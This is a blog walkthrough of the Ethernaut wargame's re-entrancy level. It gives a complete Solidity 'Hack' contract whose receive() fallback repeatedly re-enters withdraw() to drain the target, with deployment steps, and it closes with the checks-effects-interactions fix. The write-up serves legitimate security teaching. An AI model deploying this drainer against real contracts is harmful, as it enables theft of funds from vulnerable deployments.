Ethernaut Walkthrough — Level 10: Re-entrancy

Published on Dec 13, 2021

One of the first hacks I heard about while learning Solidity was a re-entrancy hack. This type of attack is the reason why Ethereum Classic came into existence, after a hard fork undid the 50 million dollar hack of TheDAO.

Looking at this level's contract, we need to focus on the following function.

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
}

The dangerous line here is the msg.sender.call. This will send money to some sender, which can be anyone or anything like a malicious contract. We already learned in previous lessons that we can create fallback methods in our contracts that get triggered whenever some value of Ether is being sent to it. Now, what if we use that method to try to talk to the original contract again (and again).

That would post a re-entrancy risk.

First, we need a way to add our own msg.sender to the balances, so we'll have to donate() some money first from our malicious contract. Here's my full code, I'll explain it in more detail below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Reentrance {
  // we just create a basic function structure just like the original contract
  // this makes it easy to call the methods directly
  function donate(address _to) public payable {}
  function balanceOf(address _who) public view returns (uint balance) {}
  function withdraw(uint _amount) public {}
  receive() external payable {}
}

contract Hack {
    // the address of our Ethernaut instance
    address ethernautAddress = 0x89Be70D4ea937994e9240EfD7a392e616c742365;

    // a reference to the original contract instance
    Reentrance public re;
    constructor() payable {
        re = Reentrance(payable(ethernautAddress));
    }

    function donate(address receiver) public payable {
        // add our contact address to the list of people holding a balance
        re.donate{value: 1 ether}(receiver);
    }

    receive() external payable {
        // this is the fallback the will be triggered when we receive ether
        if (address(ethernautAddress).balance >= 1 ether) {
            // this allows us to quickly withdraw more funds that we should be able to
            re.withdraw(1 ether);
        }
    }

    function withDraw() public {
        // draw from the original contract and trigger our fallback
        re.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
        // just here to see what balance is in this contract
        return address(this).balance;
    }

    function die() public {
        // get the funds out of our contract if we want to
        selfdestruct(payable(0x9Ca132EEC5d8b7eeA5fC1DBE7651D5d64cBA65F1));
    }
}

The hack

First, I created a simple copy of the original contract containing the exact same function signatures. This allows us to easily create an instance of the contract to talk to. So, in Remix I started with a one on one copy of the original level's code, but I just trimmed it down by removing the contents of the functions, keeping the original signatures intact.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Reentrance {
  // we just create a basic function structure just like the original contract
  // this makes it easy to call the methods directly
  function donate(address _to) public payable {}
  function balanceOf(address _who) public view returns (uint balance) {}
  function withdraw(uint _amount) public {}
  receive() external payable {}
}

After that, we can go and define our own malicious contract with a reference to the original level, like so:

contract Hack {
    // the address of our Ethernaut instance
    address ethernautAddress = 0x89Be70D4ea937994e9240EfD7a392e616c742365;

    // a reference to the original contract instance
    Reentrance public re;
    constructor() payable {
        re = Reentrance(payable(ethernautAddress));
    }
}

Now we have a basic Hack contract that we can deploy and send some Ether to. The constructor is payable so it's able to receive ETH on deployment. We also set a reference to the original level instance.

Next, I added as method that allows our contract to be listed in the balances mapping of the original contract. If we don't donate money for our contract's address, we won't be able to withdraw at all.

function donate(address receiver) public payable {
        // add our contact address to the list of people holding a balance
        re.donate{value: 1 ether}(receiver);
}

After calling the donate() method, we'll be added to the list of balances in the original contract. Now, we need to add a fallback/receive method that allows us to receive money sent by the withdraw() method of the original contract. This is where we will try to re-enter the contract and withdraw again until all the balance is sucked out of the original poor contract.

receive() external payable {
    // this is the fallback the will be triggered when we receive ether
    if (address(ethernautAddress).balance >= 1 ether) {
        // this allows us to quickly withdraw more funds that we should be able to
        re.withdraw(1 ether);
    }
}

function withDraw() public {
    // draw from the original contract and trigger our fallback
    re.withdraw(1 ether);
}

The final two methods are just added to make testing a bit easier and in order to reclaim any Ether sent our way.

function getBalance() public view returns (uint) {
    // just here to see what balance is in this contract
    return address(this).balance;
}

function die() public {
    // get the funds out of our contract if we want to
    selfdestruct(payable(0x9Ca132EEC5d8b7eeA5fC1DBE7651D5d64cBA65F1));
}

In order to pull off this hack, you'll need to follow these steps:

  1. deploy the contract with enough ETH, I used 2ETH
  2. next, call the donate() function on your contract, this adds 1ETH to our balance
  3. now, trigger the withDraw() method, it will try to withdraw 1ETH from our balance
  4. we will receive our balance in the receive() fallback method
  5. our receive() method will trigger the withdraw() method again, before the original contract has a chance to change our balance to 0, allowing us to drain the contract
  6. when all is said and done, check the getBalance() of our contract and call the die() method in order to pass the balance to our personal account

Security lessons learned

If you send Ether from your contract, you should be mindful of re-entrancy attempts. Always make sure you correct the balance of your users before transfering the money. That way, a re-entrant will not be able to drain your contract because the balance was lowered in the first call before actually sending the money to the address.

This is also called the Checks-Effects-Interactions Pattern.

Another good way to protect against re-entrancy is to use the ReentrencyGuard provided by OpenZeppelin.

If found that this article explains it well as well as this one.

Continue from here

Here's my solution for level 11

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.